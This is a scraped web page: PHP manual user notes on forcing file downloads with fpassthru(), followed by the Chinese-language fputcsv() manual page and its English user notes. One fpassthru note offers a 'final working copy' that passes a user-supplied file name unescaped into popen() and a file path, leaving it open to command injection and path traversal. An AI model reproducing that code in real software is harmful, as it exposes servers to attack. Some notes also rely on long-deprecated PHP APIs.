Content-Length: {filesize}
Content-Range: bytes 10-{filesize-1}/{ffilesize}

hope its usefull
axx at axxess dot ca 15-Feb-2004 01:04
I have also perused this list of examples which I am sure work for that person, but, as others have mentioned here, do not work for me or (anyone else).

So what I did was try out all of these examples, check other sources of information, and put together what I think to be an example of what works on 'more than a few' systems.  The following example works for me wherever I need to create a download using fpassthru(), which works with IE6 (among other browsers):

<?
/*/
Download a file using fpassthru()
/*/
$fileDir = "/home/pathto/myfiles"; // supply a path name.
$fileName = "myfile.zip"; // supply a file name.
$fileString=$fileDir.'/'.$fileName; // combine the path and file
// translate file name properly for Internet Explorer.
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")){
  $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
}
// make sure the file exists before sending headers
if(!$fdl=@fopen($fileString,'r')){
    die("Cannot Open File!");
} else {
  header("Cache-Control: ");// leave blank to avoid IE errors
  header("Pragma: ");// leave blank to avoid IE errors
  header("Content-type: application/octet-stream");
  header("Content-Disposition: attachment; filename=\"".$fileName."\"");
  header("Content-length:".(string)(filesize($fileString)));
    sleep(1);
    fpassthru($fdl);
}
?>

All that should require editing is the $fileDir and $fileName variables.  Upload the file and point to it with your browser to see if the script will prompt you for a download.

NOTE : Regarding File Types : Leaving the 'Content-type' header as-is should allow you to download pretty much any file.  I have tested it on some of the more popular file types including zip, css, php, inc, htm, png, gif and jpg.  During these tests, I did note that if I selected 'cancel' or 'open' when prompted to download either a gif or jpg, that it would indeed cancel or open in my image browser as it should, but subsequent attempts at 'downloading only' yielded a web page view of the image.  Closing the window and opening a new one reset this, allowing me save a jpeg or gif to the hard drive directly.  I believe the problem lies in the way the caching headers are treated, since if any info is specified in the 'cache-control' header, the browser download fails completely (in IE, anyways).

Enjoy! Mail me if it works!  ;-)
mm at tbwachiat dot com 16-Jan-2004 05:00
I've tried all of these renditions of this elusive task.  NONE of them have worked for me.  And when i say work, i mean where i can click some sort of link and have a file Save As... dialog box come up on MSIE 6.0.  In every other browser i've tried (Safari,Firebird,Netscape pc and mac) all have worked where it downloads to my desktop or asks me to save it in a certain place.

on MSIE 6.0.  the file i'm trying to download appears in it's own window. it's an image. BUT, the only thing i can do with it is SAVE IT AS A BMP. ugh.

I'm using the fpassthru function because i have files that must not be served by the webserver.
The Otter 10-Jan-2004 09:57
In reply to spam at flatwan dot net
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

The best way to do this would to be:
<?php
@ignore_user_abort();
@set_time_limit(0);
?>
This only changes these settings for the script that calls them. (Thanks to (I don't remember who) who wrote a form mail script that used these two lines)
spam at flatwan dot net 18-Nov-2003 04:07
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

Jon
arabold AT nero DOT com 15-May-2003 04:11
Here's a summary the different headers you need to set to make downloads *always* work with IE and Mozilla:

[SNIP]
  $disposition = "inline"; // "inline" to view file in browser or "attachment" to download to hard disk
  $mime = "image/jpeg"; // or whatever the mime type is
  $name = "foo.jpg"; // file name
  $path = "/path/to/foo.jpg"; // full path and file name

  if (isset($_SERVER["HTTPS"])) {
      /**
       * We need to set the following headers to make downloads work using IE in HTTPS mode.
       */
      header("Pragma: ");
      header("Cache-Control: ");
      header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
      header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
      header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
      header("Cache-Control: post-check=0, pre-check=0", false);
  }
      else if ($disposition == "attachment") {
          header("Cache-control: private");
  }
  else {
      header("Cache-Control: no-cache, must-revalidate");
      header("Pragma: no-cache");
  }
  header("Content-Type: $mime");
  header("Content-Disposition:$disposition; filename=\"".trim(htmlentities($name))."\"");
  header("Content-Description: ".trim(htmlentities($name)));
  header("Content-Length: ".(string)(filesize($path)));
  header("Connection: close");
[/SNIP]

This way all kinds of download work for me. Hope that helps
DarkAngela_ at hotmail dot com 08-May-2003 04:48
Just a little thing more from the ssharma's script (thx to him for his great help ...) :

Don't forget to put the fopen with the "rb" argument and not just with the "r"
or you won't be able to make the script work with all pdf file.

My final script (working for Open and Save on a 1.9 Mb complex PDF file) :

<?php
//The filename is stored in the $produitFilename variable in my script (the only thing you need)

// You need to specify the REAL path for your file and not the URL
$fullPath    = getcwd()."./directory_where_the_file_is/".$produitFilename;

if ($fd = fopen ($fullPath, "rb")) {
    $fsize    =filesize($fullPath);
    $fname     = basename ($fullPath);

    header("Pragma: ");
    header("Cache-Control: ");
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$fname."\"");
    header("Content-length: $fsize");

    fpassthru($fd);
}
?>

Have fun and thx u all 4 ur great help ...

Simon (from Paris - France)
Omega2k at web dot de 27-Mar-2003 05:07
To throttle download-speed of specific files this works fine in my board hosted on my local machine:

//#######################################
 $big_file=filesize($completeFilePath)/1024; //size of file in kb
 header('Content-Type: '.$mime_type);
 header('Content-disposition: '.$content_disp.'filename="'.$attachment_name.'"');
 header('Cache-Control: no-cache');
 header('Pragma: no-cache');
 header('Expires: 0');
 header('Content-Length: '.(string)(filesize($completeFilePath)));
 $fp=fopen($completeFilePath,'r');
 while(!feof($fp)) {
     $buffer = fread($fp, 1024*6); //speed-limit 6kb/s
     if ($big_file>32 &&
     $extension!="jpg" &&
     $extension!="jpeg" &&
     $extension!="gif" &&
     $extension!="png" &&
     $extension!="txt")
     sleep(1); //if filesize>32kb and no smallfile like jpg,gif or so - wait 1 second
     print $buffer;
 }
 fclose($fp);
 header ("Connection: close");
//#######################################

I think it's the easiest way to slow down downloading files without using a loop or for-next - this really saves performace of php and is quite exact by using 1024*number_of_kb in one second...

Thats all

Greetings, omega2k.dynu.com
brett at NOSPAM dot brettbrewer dot com 04-Feb-2003 02:49
The above method worked for me after trying everything else imaginable to get Explorer to download a file via PHP. However, I had to change the content-length line. No need to "stringify" the $size variable as in the above post. The method below works for both small and very large file (tested on files larger than 30MB with no probs)...

<?php
$distribution="/path/to/a/file.exe"
if ($fd = fopen ($distribution, "r")){

          $size=filesize($distribution);
          $fname = basename ($distribution);

//This is some really weak code I used just to redirect to the file before I fixed
//this problem...it makes the browser handle the download via Apache instead of PHP
//but it would be really easy to then find out the true location of the file

               //header("Location: $distribution");
             //fclose ($fd);
             //exit;

//below is a much better way to do it...

     header("Pragma: ");
      header("Cache-Control: ");
     header("Content-type: application/octet-stream");
      header("Content-Disposition: attachment; filename=\"".$fname."\"");
      header("Content-length: $size");

          while(!feof($fd)) {
               $buffer = fread($fd, 2048);
               print $buffer;
          }
          fclose ($fd);
          exit;
}
?>

Good luck.
Brett Brewer.
shaun at nospam dot phplabs dot com 29-Nov-2002 04:41
Note that if you use these two headers from a previous example:

header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');

before sending a file to the browser, the "Open" option on Internet Explorer's file download dialog will not work properly. If the user clicks "Open" instead of "Save," the target application will open an empty file, because the downloaded file was not cached. The user will have to save the file to their hard drive in order to use it.

Make sure to leave these headers out if you'd like your visitors to be able to use IE's "Open" option.
john at bvstudios dot com 21-Nov-2002 12:05
In reply to:

"3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers."

I recently had the exact same issue.  What I found is that this was due to my session initialization on the page.  For some reason doing a session_start() caused the script to try and download itself, not what I was indicating through various header() calls.

The solution was to move the download portion above the session initialization.  At first glance this may seem dangerous, but I only process it if there are POST vars and the script is reloading itself.  This way I know the form was submitted by that page and before they can submit it, they have to have a session!  Adding an .htaccess rule to deny all for the directory where the files are stored also helps because then only my script can access the files.
mikek at nospam dot muonics dot c o m 05-Nov-2002 02:07
Found a workaround to another headache that just cropped up tonight.  Apparently Opera 6.1 on Linux (unsure of other versions/platforms) has problems downloading files using the above methods if you have enabled compression via zlib.output_compression in php.ini.

It seems that Opera sees that the actual transfer size is less than the size in the "Content-length" header for the download and decides that the transfer was incomplete or corrupted.  It then either continuously retries the download or else leaves you with a corrupted file.

Solution:  Make sure your download script/section is off in its own directory. and add the following to your .htaccess file for that directory:

php_flag zlib.output_compression off
claude_minette at hotmail dot com 30-Oct-2002 03:51
This code works fine with a download manager... maybe not the best solution, but the only one that works with IE!!!!!

It forces download, but gif file don't want to be downloaded!!! so I need to simply display them in browser...

NB $file is the result of a query on the file table...

require_once("auth.inc.php");
$attachment = (strstr($HTTP_USER_AGENT, "MSIE")) ? "" : " attachment"; // IE 5.5 fix.
//Content of file
if (!headers_sent()){
   $ficexp=explode('.',$file["orig_name"]);
   $ext=$ficexp[sizeof($ficexp)-1];
   if ($ext!='gif'){
           header('Cache-Control: no-cache, must-revalidate');
           header('Pragma: no-cache');
           header("Content-Type: application/force-download");
           header("Content-Length: ".filesize("files/".$file["save_name"]));
           header("Content-Disposition: ".$attachment."; filename=".$file["orig_name"]);
   }
   $fn=fopen("files/".$file["save_name"], "rb");
   fpassthru($fn);
}
else {
    MessageBox('Headers already sent, cannot force download!');
}

Min's
mikek at muonics dot nospam dot c dot o 07-Oct-2002 03:44
Found a workaround for the MSIE cache bug that puts brackets around dotted items I posted about a while back (e.g. "somefile1.0-xyz.zip" becoming "somefile[1][0]-xyz.zip").

It turns out if you encode all but the last dot as %2e, then MSIE won't do this.  If you encode all of them (including the last dot), then MSIE sticks an extra bracketed number at the end of the file (e.g. "somefile1.0-xyz.zip[1]").  Unfortunately, however, some other browsers then want to save the file with the %2e in the filename instead of the dots.

if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
{
    $fileName = preg_replace('/\./', '%2e', $fileName,
        substr_count($fileName, '.') - 1);
}

Viola.  Properly named files.  This works at least with MSIE 6.0.
mikek at muonics dot nospam dot c dot o 04-Oct-2002 08:48
If your downloaded files are getting corrupted, one of the scripts included/required in your download script or page may have whitespace around the <?php ?> tags.  A common enough problem, but most often recognized when header() fails, due to headers already being sent, but one worth mention here.

This one bit me just recently with my download script.  Somewhere along the way adding functionality to my website, I wound up with a space (not a blank line, which I usually spot right away, but a single space character) after the closing ?> tag in one of the require()'d files.  Oddly enough, all the downloads seemed to work ok, but the files were corrupted: that space character wound up at the beginning of each file.
10-Sep-2002 05:17
Note that the above comment about the "Connection: close" header is incorrect: it does not guarantee that the connection will be closed immediately after the transfer is complete. Instead, it informs the client that it can no longer use the existing HTTP connection to perform other HTTP requests on the same server, and that the client MUST close the connection as soon as it has finished handling the current request.

If the client (for example an old HTTP proxy) is using HTTP/1.0, it may not recognize this header, and could could the connection open; the web server should detect this and close the connection and ignore any further request attempt on that connection.

HTTP/1.1 clients MUST honor this header and close their connection as soon as they detect the end of the answer.

In any case, the web server will initiate a watchdog after script completion, and will force the deconnection after about 15 to 30 seconds if the client does not honor this header.

The exact time to wait for the "socket closed by remote" event is configurable in the web server.

It is generally smaller when the "Connection: close" header has been sent by the server, than when no "Connection:close" has been sent (in which case the connection persists for longer time, to let the client navigate on the server without enduring new connection costs in terms of: connection delays, number of socket control blocks in final wait state, number of used ports).

Don't abuse "Connection: close" on your server for every hosted page: this creates more incoming TCP connection attempts than necessary, and slows the navigation on your site. Use it only if your script cannot generate explicit content length in the result header, as the client will have difficulties to determine the end of the results.

If you want to save connection resources to your server, always send an Explicit "Content-Length" header within your script, or use the "chunked" transfer-encoding to explicitly send the result by delimited fragments (if the client is using HTTP/1.1, it MUST support this chunked transfer encoding, per specification). See RFC2616 for details.
10-Sep-2002 04:38
fpassthru() works best for small files. In download manager scripts, it's best to determine the URL of the file to download (you may generate it locally in your session data if you need so), and then use HTTP __temporary__ redirects (302 status code, with a "Location:" header specifying the effective download URL).

This saves your web server from maintaining PHP scripts running for long times during the file downloadn and instead the download will be managed directly by the web server without scripting support (consequence: less memory resources used by parallel downloads)...
me at gavinadams dot org 29-Aug-2002 07:06
Interesting results using fpassthru() vs. fread() under UNIX.

Using fread(fp, length) to read from a valid, open pointer, in which the filename has a special character (single quote, comma, open paren, etc) fails on the read (no debug statements written after that). However, using fpassthru() works like a champ.

Thanks for the helpful notes on IE session info, have seen this before but didn't know what was causing it.
mikek at muonics dot nospam dot c dot o dot m 24-Aug-2002 09:14
A few notes on using fpassthru() to php-driven download links that pop up a "Save As.." dialog:

1. I found that the download progress dialog was remaining up for several seconds after the transfer was completed, before telling the user it was complete.  This was fixed by adding the following header:

header ("Connection: close");

This will cause the connection to be closed as soon as the transfer is complete, rather than waiting for a timeout.

2. If you have multiple periods in the filename, you might wind up with a filename with numbers in brackets (such as myfile-[1][0]-windows.zip when you put myfile-1.0-windows.zip in the headers) with MSIE.  According to Microsoft's KB, his is a "known" bug having to due with MSIE's cache and there's no workaround that I was able to find.

3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers.
- 24-Jul-2002 04:37
If you trying to output a user-written file on a page for verifying, editing, etc, you'll want to use fopen(), fread(), htmlentities() to avoid malicious code. Text from fpassthru, while not parsed per se can still mess up the display of a page (or at least it did for me!) --mt.
josh at trutwins dot homeip dot net 23-Apr-2002 05:03
I could not get the above examples to work.  This is what I used instead:

header("Content-Disposition: attachment; filename=$file");
header("Content-Description: Image File");
$fd = fopen($file,'r');
fpassthru($fd);
php at brayra dot com 04-Apr-2002 12:25
Here is a final working copy that won't freak out Microsoft Explorer if you are using sessions. Thanks to everyone else who came before. This is not as simple as I thought it would be.

the user would pass a call to the page:
http://mysite/getfile.php?file=products.pdf

include 'base.inc'; // inlcude base code, start session  and manage users

// This loads the file global from the post/get variables
// For security reasons register globals is disabled
LoadPostGet('file');

$filename = '/data/files/' . $file;
if(file_exists($filename)){
  $FILECMD = '/usr/bin/file';
  $contentType = '';
  $fp=popen("$FILECMD -bin $filename", 'r');
  if (!$fp) $contentType='application/octet-stream';
  else {
    while($string=fgets($fp, 1024)) $contentType .= $string;
    pclose($fp);
  }
  if(strpos($HTTP_SERVER_VARS['HTTP_USER_AGENT'], 'MSIE')){
    // IE cannot download from sessions without a cache
    header('Cache-Control: public');
  }
  header("Content-type: $contentType");
  header("Content-Disposition:inline; filename=\"".$file."\"");
  header("Content-length:".(string)(filesize($filename)));
  $fd=fopen($filename,'rb');
  while(!feof($fd)) {
    print fread($fd, 4096);
  }
  fclose($fd);
}else{
  print "File Not Found";
}
mirko at mcaserta dot com 23-Jan-2002 05:07
Update to the above. This also sets the correct mime type for the file you're sending. It's a small hack since it relies on the "file" system command but it should work well.

<?
// full path to the file command
$FILECMD='/usr/bin/file';
// directory where the file resides
$fileDir='/home/mcaserta';
// full file name
$fileName='test.sh';

// END CONFIG

$completeFilePath=$fileDir.'/'.$fileName;
$fp=popen("$FILECMD -bin $completeFilePath", 'r');

if (! $fp) $contentType='application/octet-stream';
else {
  while($string=fgets($fp, 1024)) $contentType .= $string;
  pclose($fp);
}

header('Content-type: '.($contentType));
header('Content-Disposition: inline; filename="'.($fileName).'"');
header('Content-length: '.(string)(filesize($completeFilePath)));
$fd=fopen($completeFilePath,'r');
fpassthru($fd);
?>
straz at -removethispart-mac dot com 15-Jan-2002 12:22
I wrote a page which authenticates the user, then calls fpassthru() to download an Acrobat document. It worked great up to about 1MB, but for larger files, the script was dying in the middle. My ISP told me they were killing my script because it was a memory hog. I tried readfile() instead, to no avail.

I replaced the fpassthru() with this workaround. It works great:

 while(!feof($fn)) {
   $buffer = fread($fn, 4096);
   print $buffer;
 }
cgriffin at websales dot com 30-Oct-1999 04:56
If you open a new file, write to it and then call fpassthru() it doesn't work. You need to call rewind() first to set the file pointer to the begining of the file.


将行格式化为 CSV 并写入文件指针

  • ? fpassthru
  • fputs ?
  • PHP Manual
  • 文件系统函数
  • 将行格式化为 CSV 并写入文件指针

fputcsv

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

fputcsv — 将行格式化为 CSV 并写入文件指针

说明

fputcsv(
resource $stream,
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false

fputcsv() 将一行（用 fields 数组传递）格式化为 CSV 格式并写入由 stream 指定的文件。

参数

stream

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

fields

string 数组。

separator

可选的 separator 参数设定字段分界符（只允许一个单字节字符）。

enclosure

可选的 enclosure 参数设定字段字段环绕符（只允许一个单字节字符）。

escape

可选的 escape 参数设置转义字符（只允许一个单字节字符）。空字符串（""）禁用专有转义机制。

eol

可选的 eol 参数设置自定义行尾序列。

Note:

If an enclosure character is contained in a field, it will be escaped by doubling it, unless it is immediately preceded by an escape.

返回值

返回写入字符串的长度， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 新增可选的 eol 参数。
7.4.0 | escape 参数现在接受空字符串来禁用专有转义机制。

示例

Example #1 fputcsv() 例子

<?php

$list = array (
array('aaa', 'bbb', 'ccc', 'dddd'),
array('123', '456', '789'),
array('"aaa"', '"bbb"')
);

$fp = fopen('file.csv', 'w');

foreach ($list as $fields) {
fputcsv($fp, $fields);
}

fclose($fp);
?>

以上例子会写入以下的file.csv：

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

注释

Note: 在读取在 Macintosh 电脑中或由其创建的文件时， 如果 PHP 不能正确的识别行结束符，启用运行时配置可选项 auto_detect_line_endings 也许可以解决此问题。

参见

  • fgetcsv() - 从文件指针中读入一行并解析 CSV 字段

User Contributed Notes

encode 30-Nov-2021 12:26
Regarding Excel and UTF-16LE encoding

For complete Excel compatibility (umlauts, cyrillic, chinese alphabet etc.) one needs to encode their .csv to UTF-16LE, use tabulators (\t) as the separator and include a UTF-16LE BOM at the start of the file.

This however can not be done by simply encoding the input for putcsv, since separators and enclosure characters will still be written in the default encoding, and fputcsv will not accept utf-16 encoded separator/enclosure characters.

The simple solution is to roll your own implementation of fputcsv with escaping etc., or possibly to encode the generated .csv file after the fact.
johannes dot kingma at gmail dot com 23-Sep-2021 09:52
In all those cases you need a bug free csv writer with custom record seperating capability:

<?php
/**
 * Custom fputcsv
 * @param int $handle filehandle
 * @param mixed[] $fields array of values to write
 * @param string $delimiter field delimiter
 * @param string $enclosure field enclosures
 * @param string $escape_char escape enclosure chars in fields
 * @param string $record_seperator
 * @return int characters written
 */
function _fputcsv($handle, $fields, $delimiter = ",", $enclosure = '"', $escape_char = "\\", $record_seperator = "\r\n")
{
    $result = [];
    foreach ($fields as $field) {
        $result[] = $enclosure . str_replace($enclosure, $escape_char . $enclosure, $field) . $enclosure;
    }
    return fwrite($handle, implode($delimiter, $result) . $record_seperator);
}
?>
reinhold dot egenter at gmail dot com 30-Sep-2020 01:05
Please note, that fputcsv ist not always enclosing strings with the enclosure character.

<?php
$fh = fopen('file.csv', 'w');

$a = [ 'One 1', 'Two', 'Three 3' ];

fputcsv($fh, $a, "\t");

fclose($fh);
?>

results in a file containing the line:
"One 1"    Two    "Three 3"

It seems that only strings containing at least one of the following characters are enclosed:

- the delimiter character
- the enclosure character
- the escape character
- \n (new line)
- \r (line feed)
- \t (tab)
- blank

I hope this saves you the hour it took me to get to the bottom of this behaviour.
julian at polygon dot red 12-Jul-2020 02:55
If you do not want to enclose strings (because you're managing that yourself or your content is already enclosed?), note that you cannot pass an empty enclosure to fputcsv. The function requires one character for that parameter. chr(0) works well:

fputcsv($handle, $fields, ",", chr(0));
mnz 30-Apr-2019 09:25
Hope this could help..

In some server configuration an associative array doesn't work. In my case the script stops without any error or message, just fputcsv return "false".

Diggin'n'Debuggin I found that in my local setup associative arrays works, but on live server not. Just removing keys solved the problem.

So, it's better to strip keys before calling fputcsv()

<?php

// Remove keys from an array

$csv_fields = array();

foreach($associative_array as $value) {
     $csv_fields[] = $value;
}

fputcsv( $handler, $csv_fields);

?>
mikhail dot galanin at yahoo dot com 30-Nov-2017 12:08
Sometimes it's useful to get CSV line as string. I.e. to store it somewhere, not in on a filesystem.

<?php
function csvstr(array $fields) : string
{
    $f = fopen('php://memory', 'r+');
    if (fputcsv($f, $fields) === false) {
        return false;
    }
    rewind($f);
    $csv_line = stream_get_contents($f);
    return rtrim($csv_line);
}
?>
perske at muenster dot de 19-Sep-2017 05:55
To produce RFC 4180 conforming output, do not use fputcsv but encode manually, like this:

function rfccsv($arr){
    foreach($arr as &$a){
        $a=strval($a);
        if(strcspn($a,",\"\r\n")<strlen($a))$a='"'.strtr($a,array('"'=>'""')).'"';
    }
    return implode(',',$arr);
}
echo rfccsv(array(.....))."\n";
bienvenunet at yahoo dot com 18-Aug-2017 12:48
This function, in its current state, can't be used for exporting United States Zip code values to Excel. It doesn't have an option for forcing the enclosure for all strings.
Biniam Nigusse 20-Jan-2016 04:52
the solution for how to solve the encoding problem while converting an array to csv file is below.

$fp = fopen('php://memory', 'w');
    //add BOM to fix UTF-8 in Excel
    fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ));
    // output the column headings
    //fputcsv($fp, array('Topic', 'Title', 'URL', 'Keywords', 'Score', 'FB_count', 'TW_count', '|'));
    if(isset($trend)){
        foreach ( $trend as $myField ){
        fputcsv($fp, $myField, '|');
        }
    }
Anonymous 03-Nov-2015 10:45
if you want make UTF-8 file for excel, use this:

$fp = fopen($filename, 'w');
//add BOM to fix UTF-8 in Excel
fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ));
mike at fatica dot net 22-Jul-2014 03:51
We had a function that wrote a single line CSV.  I noticed that with enabling auto_detect_line_endings, fputcsv would not write a newline at the end of the file.

Enabling auto_detect_line_endings changed the fputcsv behavior to include a newline.
iam at thatguy dot co dot za 20-Jan-2014 02:37
So this is something I wrote to generically generate CSV exports from 2 arrays and a name.

You need to provide it with e single dimension array for the headings. A multidimensional array with the actual body . And lastly the filename you would like to get minus the .csv and viola.

<?php

    # We will use this function to generate a CSV
    function exportCSV($headings=false, $rows=false, $filename=false)
    {
        # Ensure that we have data to be able to export the CSV
        if ((!empty($headings)) AND (!empty($rows)))
        {
            # modify the name somewhat
            $name = ($filename !== false) ? $filename . ".csv" : "export.csv";

            # Set the headers we need for this to work
            header('Content-Type: text/csv; CHARSET=gb2312');
            header('Content-Disposition: attachment; filename=' . $name);

            # Start the ouput
            $output = fopen('php://output', 'w');

            # Create the headers
            fputcsv($output, $headings);

            # Then loop through the rows
            foreach($rows as $row)
            {
                # Add the rows to the body
                fputcsv($output, $row);
            }

            # Exit to close the stream off
            exit();
        }

        # Default to a failure
        return false;
    }
?>
alanzhang717 at gmail dot com 26-Nov-2013 01:44
When you output csv by fputcsv, if there are any Chinese character, you may get messy code. Then you need to set the encoding properly:

fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF));  // just add this line
fputcsv($fp, ...);
R dot Mansveld at Spider-IT dot de 27-Sep-2013 01:26
Inspired by boonerunner's function, I wrote a smaller, faster, and more flexible one, which also uses less memory.
I also renamed it to avoid collision or overwriting the PHP function, and gave the 3rd and 4th parameter default values like fputcsv() uses.

This function puts all text values in $enclosure's while doubling the $enclosure in the value, and leaves numeric values as they are.
But if the $delimiter exists in the numeric value, this value will also be put in $enclosure's (may happen if you use a dot as the $delimiter).

function fwritecsv($handle, $fields, $delimiter = ',', $enclosure = '"') {
    # Check if $fields is an array
    if (!is_array($fields)) {
        return false;
    }
    # Walk through the data array
    for ($i = 0, $n = count($fields); $i < $n; $i ++) {
        # Only 'correct' non-numeric values
        if (!is_numeric($fields[$i])) {
            # Duplicate in-value $enclusure's and put the value in $enclosure's
            $fields[$i] = $enclosure . str_replace($enclosure, $enclosure . $enclosure, $fields[$i]) . $enclosure;
        }
        # If $delimiter is a dot (.), also correct numeric values
        if (($delimiter == '.') && (is_numeric($fields[$i]))) {
            # Put the value in $enclosure's
            $fields[$i] = $enclosure . $fields[$i] . $enclosure;
        }
    }
    # Combine the data array with $delimiter and write it to the file
    $line = implode($delimiter, $fields) . "\n";
    fwrite($handle, $line);
    # Return the length of the written data
    return strlen($line);
}
gildas dot quemener at gmail dot com 17-Jul-2013 08:29
There is an even easier solution to get the result of fputcsv into a variable:

<?php
 $output = fopen('php://output', 'w');
 ob_start();
 fputcsv($output, $data);
 fclose($output);
 $csv = ob_get_clean();
?>
David Thomas 20-Nov-2011 06:17
Output XML string as CSV with first row as column headers:

<?php

    // In this case XML is
    // <records>
    //  <record>...</record>
    //  <record>...</record>
    // </records>

  if($xml = simplexml_load_string($string)){
    // Keep up to 12MB in memory, if becomes bigger write to temp file
    $file = fopen('php://temp/maxmemory:'. (12*1024*1024), 'r+');
    if($row = get_object_vars($xml->record[0])){ // First record
      // First row contains column header values
      foreach($row as $key => $value){
        $header[] = $key;
      }
      fputcsv($file, $header,',','"');
      foreach ($xml->record as $record) {
        fputcsv($file, get_object_vars($record),',','"');
      }
      rewind($file);
      $output = stream_get_contents($file);
      fclose($file);
      return $output;
    }else{
      return '';
    }
  }

?>
jamie at agentdesign dot co dot uk 20-Jul-2011 06:05
Utility function to output a mysql query to csv with the option to write to file or send back to the browser as a csv attachment.

<?php
    function query_to_csv($db_conn, $query, $filename, $attachment = false, $headers = true) {

        if($attachment) {
            // send response headers to the browser
            header( 'Content-Type: text/csv' );
            header( 'Content-Disposition: attachment;filename='.$filename);
            $fp = fopen('php://output', 'w');
        } else {
            $fp = fopen($filename, 'w');
        }

        $result = mysql_query($query, $db_conn) or die( mysql_error( $db_conn ) );

        if($headers) {
            // output header row (if at least one row exists)
            $row = mysql_fetch_assoc($result);
            if($row) {
                fputcsv($fp, array_keys($row));
                // reset pointer back to beginning
                mysql_data_seek($result, 0);
            }
        }

        while($row = mysql_fetch_assoc($result)) {
            fputcsv($fp, $row);
        }

        fclose($fp);
    }

    // Using the function
    $sql = "SELECT * FROM table";
    // $db_conn should be a valid db handle

    // output as an attachment
    query_to_csv($db_conn, $sql, "test.csv", true);

    // output to file system
    query_to_csv($db_conn, $sql, "test.csv", false);
?>
simeonl at dbc dot co dot nz 23-Mar-2010 08:24
In general I found myself wanting to get the result as a string rather than writing it to a file, and in particular I wanted to produce a CSV using an EOL that might not be the same as that on the server where I generated it.  This is how I solved the problem without rewriting  fputcsv.

<?php
function sputcsv($row, $delimiter = ',', $enclosure = '"', $eol = "\n")
{
    static $fp = false;
    if ($fp === false)
    {
        $fp = fopen('php://temp', 'r+'); // see http://php.net/manual/en/wrappers.php.php - yes there are 2 '.php's on the end.
        // NB: anything you read/write to/from 'php://temp' is specific to this filehandle
    }
    else
    {
        rewind($fp);
    }

    if (fputcsv($fp, $row, $delimiter, $enclosure) === false)
    {
        return false;
    }

    rewind($fp);
    $csv = fgets($fp);

    if ($eol != PHP_EOL)
    {
        $csv = substr($csv, 0, (0 - strlen(PHP_EOL))) . $eol;
    }

    return $csv;
}

// test
$rows = array
(
    array('blue, sky', 'green, lime', 'red', 'black'),
    array('white', 'gold', 'purple, imperial', 'grey, slate'),
    array('orange, burnt', 'pink, hot', 'violet', 'indigo'),
);

if (PHP_EOL == "\r\n")
{
    $eol = "\n";
}
else
{
    $eol = "\r\n";
}

foreach($rows as $row)
{
    echo nl2br(sputcsv($row, ',', '"', $eol));
}
?>

The test should produce something like the following:

"blue, sky","green, lime",red,black
white,gold,"purple, imperial","grey, slate"
"orange, burnt","pink, hot",violet,indigo
alex /-\-l- windeagle DOT org 11-Jun-2009 08:41
TAB delimiting.

Using fputcsv to output a CSV with a tab delimiter is a little tricky since the delimiter field only takes one character.
The answer is to use the chr() function.  The ascii code for tab is 9, so chr(9) returns a tab character.

<?php
    fputcsv($fp, $foo, '\t');      //won't work
    fputcsv($fp, $foo, '    ');    //won't work

    fputcsv($fp, $foo, chr(9));    //works
?>

==================

it should be:
<?php
    fputcsv($fp, $foo, "\t");
?>
you just forgot that single quotes are literal...meaning whatever you put there that's what will come out so '\t' would be same as 't' because \ in that case would be only used for escaping but if you use double quotes then that would work.
soapergem at gmail dot com 14-May-2009 08:17
I've created a function for quickly generating CSV files that work with Microsoft applications. In the field I learned a few things about generating CSVs that are not always obvious. First, since PHP is generally *nix-based, it makes sense that the line endings are always \n instead of \r\n. However, certain Microsoft programs (I'm looking at you, Access 97), will fail to recognize the CSV properly unless each line ends with \r\n. So this function changes the line endings accordingly. Secondly, if the first column heading / value of the CSV file begins with uppercase ID, certain Microsoft programs (ahem, Excel 2007) will interpret the file as being in the SYLK format rather than CSV, as described here: http://support.microsoft.com/kb/323626

This function accommodates for that as well, by forcibly enclosing that first value in quotes (when this doesn't occur automatically). It would be fairly simple to modify this function to use another delimiter if need be and I leave that as an exercise to the reader. So quite simply, this function is used for outputting CSV data to a CSV file in a way that is safe for use with Windows applications. It takes two parameters + one optional parameter: the location of where the file should be saved, an array of data rows, and an optional array of column headings. (Technically you could omit the headings array and just include it as the first row of the data, but it is often useful to keep this data stored in different arrays in practice.)

<?php

